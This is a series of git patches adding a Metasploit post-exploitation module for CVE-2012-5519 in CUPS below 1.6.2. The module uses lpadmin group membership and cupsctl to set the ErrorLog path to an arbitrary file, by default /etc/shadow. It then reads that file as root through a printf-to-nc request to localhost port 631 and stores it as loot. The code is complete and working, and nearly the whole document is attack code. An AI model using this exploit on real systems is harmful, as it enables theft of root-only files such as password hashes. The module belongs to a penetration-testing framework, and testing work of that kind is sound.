From 34404ee0676195aa2135ec2301a56a2a7e2e84d8 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sun, 25 Aug 2013 14:30:11 -0500 Subject: [PATCH 01/10] Commit cups module. Tested on osx 10.7, 10.8, and unpatched ubuntu 12.0.4. --- .../multi/escalate/cups_root_file_read.rb | 142 ++++++++++++++++++ 1 file changed, 142 insertions(+) create mode 100644 modules/post/multi/escalate/cups_root_file_read.rb diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb new file mode 100644 index 0000000000..86b9c48096 --- /dev/null +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -0,0 +1,142 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Common + + LP_GROUPS = ['lpadmin', '_lpadmin'] + CTL_PATH = '/usr/sbin/cupsctl' + + attr_accessor :web_server_was_disabled, :error_log_was_reset + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'CUPS 1.6.1 Root File Read', + 'Description' => %q{ + This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system. + CUPS allows members of the lpadmin group to make changes to the cupsd.conf + configuration, which can specify an Error Log path. When the user visits the + Error Log page in the web interface, the cupsd daemon (running with setuid root) + reads the Error Log path and echoes it as plaintext. + + This module is known to work on: + + - Mac OS X < 10.8.4 + - Ubuntu Desktop <= 12.0.4 + + ...as long as the session is in the lpadmin group. + + Note: This might also work as a root write exploit, if you can ignore the log + formatting. The page_log (PageLog= directive) would be useful for ths. + }, + 'References' => + [ + ['CVE', '2012-5519'], + ['OSVDB', '87635'], + ['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791'] + ], + 'License' => MSF_LICENSE, + 'Author' => + [ + "Jann Horn", # discovery + "joev " # metasploit module + ], + 'DisclosureDate' => 'Nov 20 2012', + 'Platform' => ['osx', 'linux'] + })) + register_options([ + OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]) + ], self.class) + end + + def check + user = cmd_exec("whoami") + user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/) + if (user_groups & LP_GROUPS).empty? + print_error "User not in lpadmin group." + return Msf::Exploit::CheckCode::Safe + else + print_good "User in lpadmin group, continuing..." + end + + if cmd_exec("whereis cupsctl").blank? + print_error "cupsctl binary not found in $PATH" + return Msf::Exploit::CheckCode::Safe + end + + config_path = cmd_exec("whereis cups-config") + config_vn = nil + + if not config_path.blank? + # cups-config not present, ask the web interface what vn it is + output = get_request('/') + if output =~ /title.*CUPS\s+([\d\.]+)/i + print_status "Found CUPS #{$1}" + config_vn = $1.strip + else + print_error "Could not determine CUPS version." + return Msf::Exploit::CheckCode::Unknown + end + else + config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed + end + + config_parts = config_vn.split('.') + if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2 + Msf::Exploit::CheckCode::Vulnerable + else + Msf::Exploit::CheckCode::Safe + end + end + + def run + if check == Msf::Exploit::CheckCode::Safe + print_error "Target machine not vulnerable, bailing." + return + end + + defaults = cmd_exec(CTL_PATH) + @web_server_was_disabled = defaults =~ /^WebInterface=no$/i + + # first we set the error log to the path intended + puts cmd_exec("#{CTL_PATH} ErrorLog=#{datastore['FILE']}") + puts cmd_exec("#{CTL_PATH} WebInterface=yes") + @error_log_was_reset = true + + # now we go grab it from the ErrorLog route + file = strip_http_headers(get_request('/admin/log/error_log')) + + # and store as loot + l = store_loot('cups_file_read', 'application/octet-stream', session, file, + File.basename(datastore['FILE'])) + print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{l}") + end + + def cleanup + return if @cleanup_up # once! + @cleaning_up = true + + print_status "Cleaning up..." + rm_f(tmp_path) + cmd_exec("#{CTL_PATH} WebInterface=no") if web_server_was_disabled + # ErrorLog default is distro-dependent, just unset it + cmd_exec("#{CTL_PATH} ErrorLog=") if error_log_was_reset + super + end + + private + + def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end + def tmp_path; @tmp_path ||= "/tmp/#{Rex::Text.rand_text_alpha(12+rand(8))}"; end + + def get_request(uri) + rm_f(tmp_path) + write_file(tmp_path, "GET #{uri}\n\r\n\r") + cmd_exec(['cat', tmp_path, '|', 'nc localhost 631'].join(' ')) + end +end From 98b21471edb0b8d7fa289b5cf1382580639e9807 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 27 Aug 2013 03:03:08 -0500 Subject: [PATCH 02/10] fix some bugs in cups_root_file_read module. --- .../multi/escalate/cups_root_file_read.rb | 44 ++++++++++--------- 1 file changed, 23 insertions(+), 21 deletions(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 86b9c48096..740da76b61 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -10,7 +10,6 @@ class Metasploit3 < Msf::Post include Msf::Post::Common LP_GROUPS = ['lpadmin', '_lpadmin'] - CTL_PATH = '/usr/sbin/cupsctl' attr_accessor :web_server_was_disabled, :error_log_was_reset @@ -25,7 +24,7 @@ class Metasploit3 < Msf::Post reads the Error Log path and echoes it as plaintext. This module is known to work on: - + - Mac OS X < 10.8.4 - Ubuntu Desktop <= 12.0.4 @@ -64,12 +63,12 @@ class Metasploit3 < Msf::Post print_good "User in lpadmin group, continuing..." end - if cmd_exec("whereis cupsctl").blank? + if ctl_path.blank? print_error "cupsctl binary not found in $PATH" return Msf::Exploit::CheckCode::Safe end - config_path = cmd_exec("whereis cups-config") + config_path = cmd_exec("which cups-config") config_vn = nil if not config_path.blank? @@ -100,43 +99,46 @@ class Metasploit3 < Msf::Post return end - defaults = cmd_exec(CTL_PATH) + defaults = cmd_exec(ctl_path) @web_server_was_disabled = defaults =~ /^WebInterface=no$/i # first we set the error log to the path intended - puts cmd_exec("#{CTL_PATH} ErrorLog=#{datastore['FILE']}") - puts cmd_exec("#{CTL_PATH} WebInterface=yes") + cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}") + cmd_exec("#{ctl_path} WebInterface=yes") @error_log_was_reset = true # now we go grab it from the ErrorLog route file = strip_http_headers(get_request('/admin/log/error_log')) # and store as loot - l = store_loot('cups_file_read', 'application/octet-stream', session, file, - File.basename(datastore['FILE'])) - print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{l}") + f = File.basename(datastore['FILE']) + loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f) + print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}") end def cleanup - return if @cleanup_up # once! - @cleaning_up = true - print_status "Cleaning up..." - rm_f(tmp_path) - cmd_exec("#{CTL_PATH} WebInterface=no") if web_server_was_disabled - # ErrorLog default is distro-dependent, just unset it - cmd_exec("#{CTL_PATH} ErrorLog=") if error_log_was_reset + cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled + cmd_exec("#{ctl_path} ErrorLog=/var/log/cups/error_log") if error_log_was_reset super end private + def ctl_path; @ctl_path ||= cmd_exec("which cupsctl"); end def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end - def tmp_path; @tmp_path ||= "/tmp/#{Rex::Text.rand_text_alpha(12+rand(8))}"; end def get_request(uri) - rm_f(tmp_path) - write_file(tmp_path, "GET #{uri}\n\r\n\r") - cmd_exec(['cat', tmp_path, '|', 'nc localhost 631'].join(' ')) + output = perform_request(uri, 'nc -j localhost 631') + + if output =~ /^usage: nc/ + output = perform_request(uri, 'nc localhost 631') + end + + output + end + + def perform_request(uri, nc_str) + cmd_exec(['printf', "GET #{uri}\n\r\n\r".inspect, '|', nc_str].join(' ')) end end From 87c03237a9d2dfdbfce625f438c048765f726933 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 27 Aug 2013 03:17:14 -0500 Subject: [PATCH 03/10] Fix discrepencies between unix/osx with whereis cmd. --- .../post/multi/escalate/cups_root_file_read.rb | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 740da76b61..c252f83cc0 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -68,14 +68,13 @@ class Metasploit3 < Msf::Post return Msf::Exploit::CheckCode::Safe end - config_path = cmd_exec("which cups-config") + config_path = whereis("cups-config") config_vn = nil - if not config_path.blank? + if config_path.blank? # cups-config not present, ask the web interface what vn it is output = get_request('/') if output =~ /title.*CUPS\s+([\d\.]+)/i - print_status "Found CUPS #{$1}" config_vn = $1.strip else print_error "Could not determine CUPS version." @@ -85,6 +84,8 @@ class Metasploit3 < Msf::Post config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed end + print_status "Found CUPS #{config_vn}" + config_parts = config_vn.split('.') if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2 Msf::Exploit::CheckCode::Vulnerable @@ -125,9 +126,18 @@ class Metasploit3 < Msf::Post private - def ctl_path; @ctl_path ||= cmd_exec("which cupsctl"); end + def ctl_path; @ctl_path ||= whereis("cupsctl"); end def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end + def whereis(exe) + line = cmd_exec("whereis #{exe}") + if line =~ /^\S+:\s*(\S+)/i + $1 # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl" + else + line # on osx it just returns '/usr/sbin/cupsctl' + end + end + def get_request(uri) output = perform_request(uri, 'nc -j localhost 631') From 5cc4ef09d17f4532b625d127b6ef9ac55a10ca77 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 27 Aug 2013 11:25:00 -0500 Subject: [PATCH 04/10] Move previous error log path to method. Renames the #check method. --- modules/post/multi/escalate/cups_root_file_read.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index c252f83cc0..7b4a3df7a9 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -10,6 +10,7 @@ class Metasploit3 < Msf::Post include Msf::Post::Common LP_GROUPS = ['lpadmin', '_lpadmin'] + PREV_ERROR_LOG_PATH = '/var/log/cups/error_log' attr_accessor :web_server_was_disabled, :error_log_was_reset @@ -53,7 +54,7 @@ class Metasploit3 < Msf::Post ], self.class) end - def check + def check_exploitability user = cmd_exec("whoami") user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/) if (user_groups & LP_GROUPS).empty? @@ -95,7 +96,7 @@ class Metasploit3 < Msf::Post end def run - if check == Msf::Exploit::CheckCode::Safe + if check_exploitability == Msf::Exploit::CheckCode::Safe print_error "Target machine not vulnerable, bailing." return end @@ -120,12 +121,13 @@ class Metasploit3 < Msf::Post def cleanup print_status "Cleaning up..." cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled - cmd_exec("#{ctl_path} ErrorLog=/var/log/cups/error_log") if error_log_was_reset + cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset super end private + def prev_error_log_path; PREV_ERROR_LOG_PATH; end def ctl_path; @ctl_path ||= whereis("cupsctl"); end def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end From 8a8f80e0976a7b431523725077b743fdb71b55d4 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 27 Aug 2013 11:43:20 -0500 Subject: [PATCH 05/10] Move error log path to datastore option. --- modules/post/multi/escalate/cups_root_file_read.rb | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 7b4a3df7a9..d7d36c97f6 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -10,7 +10,6 @@ class Metasploit3 < Msf::Post include Msf::Post::Common LP_GROUPS = ['lpadmin', '_lpadmin'] - PREV_ERROR_LOG_PATH = '/var/log/cups/error_log' attr_accessor :web_server_was_disabled, :error_log_was_reset @@ -31,8 +30,9 @@ class Metasploit3 < Msf::Post ...as long as the session is in the lpadmin group. - Note: This might also work as a root write exploit, if you can ignore the log - formatting. The page_log (PageLog= directive) would be useful for ths. + Warning: if the user has set up a custom path to the CUPS error log, + this module might fail to reset that path correctly. You can specify + a custom error log path with the ERROR_LOG datastore option. }, 'References' => [ @@ -50,7 +50,10 @@ class Metasploit3 < Msf::Post 'Platform' => ['osx', 'linux'] })) register_options([ - OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]) + OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]), + OptString.new("ERROR_LOG", + [true, "The original path to the CUPS error log", '/var/log/cups/error_log'] + ) ], self.class) end @@ -127,7 +130,7 @@ class Metasploit3 < Msf::Post private - def prev_error_log_path; PREV_ERROR_LOG_PATH; end + def prev_error_log_path; datastore['ERROR_LOG']; end def ctl_path; @ctl_path ||= whereis("cupsctl"); end def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end From 067b8f3c59b1cd759487590b046ad34eae445162 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 27 Aug 2013 11:44:21 -0500 Subject: [PATCH 06/10] Adds session existence check. Moves error log path to datastore option. --- modules/post/multi/escalate/cups_root_file_read.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index d7d36c97f6..6656169fc1 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -99,6 +99,11 @@ class Metasploit3 < Msf::Post end def run + if session.nil? + print_error "Invalid session." + return + end + if check_exploitability == Msf::Exploit::CheckCode::Safe print_error "Target machine not vulnerable, bailing." return From f823290a4cae439d91836d77131218f3020faffe Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 27 Aug 2013 17:21:18 -0500 Subject: [PATCH 07/10] Add nc check. Prints successful binary match. * kills session nil check --- .../multi/escalate/cups_root_file_read.rb | 22 ++++++++++++------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 6656169fc1..b9fd2a0328 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -70,12 +70,22 @@ class Metasploit3 < Msf::Post if ctl_path.blank? print_error "cupsctl binary not found in $PATH" return Msf::Exploit::CheckCode::Safe + else + print_good "cupsctl binary found in $PATH" + end + + nc_path = whereis("nc") + if nc_path.nil? or nc_path.blank? + print_error "Could not find nc executable" + return Msf::Exploit::CheckCode::Unknown + else + print_good "nc binary found in $PATH" end config_path = whereis("cups-config") config_vn = nil - if config_path.blank? + if config_path.nil? or config_path.blank? # cups-config not present, ask the web interface what vn it is output = get_request('/') if output =~ /title.*CUPS\s+([\d\.]+)/i @@ -99,11 +109,6 @@ class Metasploit3 < Msf::Post end def run - if session.nil? - print_error "Invalid session." - return - end - if check_exploitability == Msf::Exploit::CheckCode::Safe print_error "Target machine not vulnerable, bailing." return @@ -141,7 +146,7 @@ class Metasploit3 < Msf::Post def whereis(exe) line = cmd_exec("whereis #{exe}") - if line =~ /^\S+:\s*(\S+)/i + if line =~ /^\S+:\s*(\S*)/i $1 # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl" else line # on osx it just returns '/usr/sbin/cupsctl' @@ -159,6 +164,7 @@ class Metasploit3 < Msf::Post end def perform_request(uri, nc_str) - cmd_exec(['printf', "GET #{uri}\n\r\n\r".inspect, '|', nc_str].join(' ')) + # osx requires 3 newlines! + cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' ')) end end From d9fed860a5451ae9118863c8cc4d54e43d5bdd94 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 6 Sep 2013 10:11:06 -0500 Subject: [PATCH 08/10] Fix check method --- modules/post/multi/escalate/cups_root_file_read.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index b9fd2a0328..96199d6884 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -90,9 +90,6 @@ class Metasploit3 < Msf::Post output = get_request('/') if output =~ /title.*CUPS\s+([\d\.]+)/i config_vn = $1.strip - else - print_error "Could not determine CUPS version." - return Msf::Exploit::CheckCode::Unknown end else config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed @@ -100,6 +97,11 @@ class Metasploit3 < Msf::Post print_status "Found CUPS #{config_vn}" + if config_vn.nil? + print_error "Could not determine CUPS version." + return Msf::Exploit::CheckCode::Unknown + end + config_parts = config_vn.split('.') if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2 Msf::Exploit::CheckCode::Vulnerable From 9b9e1592fd7d6c0b3fda0c41441b74cad0b7ab72 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 6 Sep 2013 10:13:38 -0500 Subject: [PATCH 09/10] Retab changes --- .../multi/escalate/cups_root_file_read.rb | 262 +++++++++--------- 1 file changed, 131 insertions(+), 131 deletions(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 96199d6884..343779403e 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -6,167 +6,167 @@ ## class Metasploit3 < Msf::Post - include Msf::Post::File - include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Common - LP_GROUPS = ['lpadmin', '_lpadmin'] + LP_GROUPS = ['lpadmin', '_lpadmin'] - attr_accessor :web_server_was_disabled, :error_log_was_reset + attr_accessor :web_server_was_disabled, :error_log_was_reset - def initialize(info={}) - super( update_info( info, { - 'Name' => 'CUPS 1.6.1 Root File Read', - 'Description' => %q{ - This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system. - CUPS allows members of the lpadmin group to make changes to the cupsd.conf - configuration, which can specify an Error Log path. When the user visits the - Error Log page in the web interface, the cupsd daemon (running with setuid root) - reads the Error Log path and echoes it as plaintext. + def initialize(info={}) + super( update_info( info, { + 'Name' => 'CUPS 1.6.1 Root File Read', + 'Description' => %q{ + This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system. + CUPS allows members of the lpadmin group to make changes to the cupsd.conf + configuration, which can specify an Error Log path. When the user visits the + Error Log page in the web interface, the cupsd daemon (running with setuid root) + reads the Error Log path and echoes it as plaintext. - This module is known to work on: + This module is known to work on: - - Mac OS X < 10.8.4 - - Ubuntu Desktop <= 12.0.4 + - Mac OS X < 10.8.4 + - Ubuntu Desktop <= 12.0.4 - ...as long as the session is in the lpadmin group. + ...as long as the session is in the lpadmin group. - Warning: if the user has set up a custom path to the CUPS error log, - this module might fail to reset that path correctly. You can specify - a custom error log path with the ERROR_LOG datastore option. - }, - 'References' => - [ - ['CVE', '2012-5519'], - ['OSVDB', '87635'], - ['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791'] - ], - 'License' => MSF_LICENSE, - 'Author' => - [ - "Jann Horn", # discovery - "joev " # metasploit module - ], - 'DisclosureDate' => 'Nov 20 2012', - 'Platform' => ['osx', 'linux'] - })) - register_options([ - OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]), - OptString.new("ERROR_LOG", - [true, "The original path to the CUPS error log", '/var/log/cups/error_log'] - ) - ], self.class) - end + Warning: if the user has set up a custom path to the CUPS error log, + this module might fail to reset that path correctly. You can specify + a custom error log path with the ERROR_LOG datastore option. + }, + 'References' => + [ + ['CVE', '2012-5519'], + ['OSVDB', '87635'], + ['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791'] + ], + 'License' => MSF_LICENSE, + 'Author' => + [ + "Jann Horn", # discovery + "joev " # metasploit module + ], + 'DisclosureDate' => 'Nov 20 2012', + 'Platform' => ['osx', 'linux'] + })) + register_options([ + OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]), + OptString.new("ERROR_LOG", + [true, "The original path to the CUPS error log", '/var/log/cups/error_log'] + ) + ], self.class) + end - def check_exploitability - user = cmd_exec("whoami") - user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/) - if (user_groups & LP_GROUPS).empty? - print_error "User not in lpadmin group." - return Msf::Exploit::CheckCode::Safe - else - print_good "User in lpadmin group, continuing..." - end + def check_exploitability + user = cmd_exec("whoami") + user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/) + if (user_groups & LP_GROUPS).empty? + print_error "User not in lpadmin group." + return Msf::Exploit::CheckCode::Safe + else + print_good "User in lpadmin group, continuing..." + end - if ctl_path.blank? - print_error "cupsctl binary not found in $PATH" - return Msf::Exploit::CheckCode::Safe - else - print_good "cupsctl binary found in $PATH" - end + if ctl_path.blank? + print_error "cupsctl binary not found in $PATH" + return Msf::Exploit::CheckCode::Safe + else + print_good "cupsctl binary found in $PATH" + end - nc_path = whereis("nc") - if nc_path.nil? or nc_path.blank? - print_error "Could not find nc executable" - return Msf::Exploit::CheckCode::Unknown - else - print_good "nc binary found in $PATH" - end + nc_path = whereis("nc") + if nc_path.nil? or nc_path.blank? + print_error "Could not find nc executable" + return Msf::Exploit::CheckCode::Unknown + else + print_good "nc binary found in $PATH" + end - config_path = whereis("cups-config") - config_vn = nil + config_path = whereis("cups-config") + config_vn = nil - if config_path.nil? or config_path.blank? - # cups-config not present, ask the web interface what vn it is - output = get_request('/') - if output =~ /title.*CUPS\s+([\d\.]+)/i - config_vn = $1.strip - end - else - config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed - end + if config_path.nil? or config_path.blank? + # cups-config not present, ask the web interface what vn it is + output = get_request('/') + if output =~ /title.*CUPS\s+([\d\.]+)/i + config_vn = $1.strip + end + else + config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed + end - print_status "Found CUPS #{config_vn}" + print_status "Found CUPS #{config_vn}" if config_vn.nil? print_error "Could not determine CUPS version." return Msf::Exploit::CheckCode::Unknown end - config_parts = config_vn.split('.') - if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2 - Msf::Exploit::CheckCode::Vulnerable - else - Msf::Exploit::CheckCode::Safe - end - end + config_parts = config_vn.split('.') + if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2 + Msf::Exploit::CheckCode::Vulnerable + else + Msf::Exploit::CheckCode::Safe + end + end - def run - if check_exploitability == Msf::Exploit::CheckCode::Safe - print_error "Target machine not vulnerable, bailing." - return - end + def run + if check_exploitability == Msf::Exploit::CheckCode::Safe + print_error "Target machine not vulnerable, bailing." + return + end - defaults = cmd_exec(ctl_path) - @web_server_was_disabled = defaults =~ /^WebInterface=no$/i + defaults = cmd_exec(ctl_path) + @web_server_was_disabled = defaults =~ /^WebInterface=no$/i - # first we set the error log to the path intended - cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}") - cmd_exec("#{ctl_path} WebInterface=yes") - @error_log_was_reset = true + # first we set the error log to the path intended + cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}") + cmd_exec("#{ctl_path} WebInterface=yes") + @error_log_was_reset = true - # now we go grab it from the ErrorLog route - file = strip_http_headers(get_request('/admin/log/error_log')) + # now we go grab it from the ErrorLog route + file = strip_http_headers(get_request('/admin/log/error_log')) - # and store as loot - f = File.basename(datastore['FILE']) - loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f) - print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}") - end + # and store as loot + f = File.basename(datastore['FILE']) + loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f) + print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}") + end - def cleanup - print_status "Cleaning up..." - cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled - cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset - super - end + def cleanup + print_status "Cleaning up..." + cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled + cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset + super + end - private + private - def prev_error_log_path; datastore['ERROR_LOG']; end - def ctl_path; @ctl_path ||= whereis("cupsctl"); end - def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end + def prev_error_log_path; datastore['ERROR_LOG']; end + def ctl_path; @ctl_path ||= whereis("cupsctl"); end + def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end - def whereis(exe) - line = cmd_exec("whereis #{exe}") - if line =~ /^\S+:\s*(\S*)/i - $1 # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl" - else - line # on osx it just returns '/usr/sbin/cupsctl' - end - end + def whereis(exe) + line = cmd_exec("whereis #{exe}") + if line =~ /^\S+:\s*(\S*)/i + $1 # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl" + else + line # on osx it just returns '/usr/sbin/cupsctl' + end + end - def get_request(uri) - output = perform_request(uri, 'nc -j localhost 631') + def get_request(uri) + output = perform_request(uri, 'nc -j localhost 631') - if output =~ /^usage: nc/ - output = perform_request(uri, 'nc localhost 631') - end + if output =~ /^usage: nc/ + output = perform_request(uri, 'nc localhost 631') + end - output - end + output + end - def perform_request(uri, nc_str) - # osx requires 3 newlines! - cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' ')) - end + def perform_request(uri, nc_str) + # osx requires 3 newlines! + cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' ')) + end end From ffa600ff8ba5bb5ccd74b8ac720d4602435adfd4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 6 Sep 2013 10:21:18 -0500 Subject: [PATCH 10/10] Fix really the check method --- modules/post/multi/escalate/cups_root_file_read.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 343779403e..69043cc7c5 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -95,13 +95,13 @@ class Metasploit3 < Msf::Post config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed end - print_status "Found CUPS #{config_vn}" - if config_vn.nil? print_error "Could not determine CUPS version." return Msf::Exploit::CheckCode::Unknown end + print_status "Found CUPS #{config_vn}" + config_parts = config_vn.split('.') if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2 Msf::Exploit::CheckCode::Vulnerable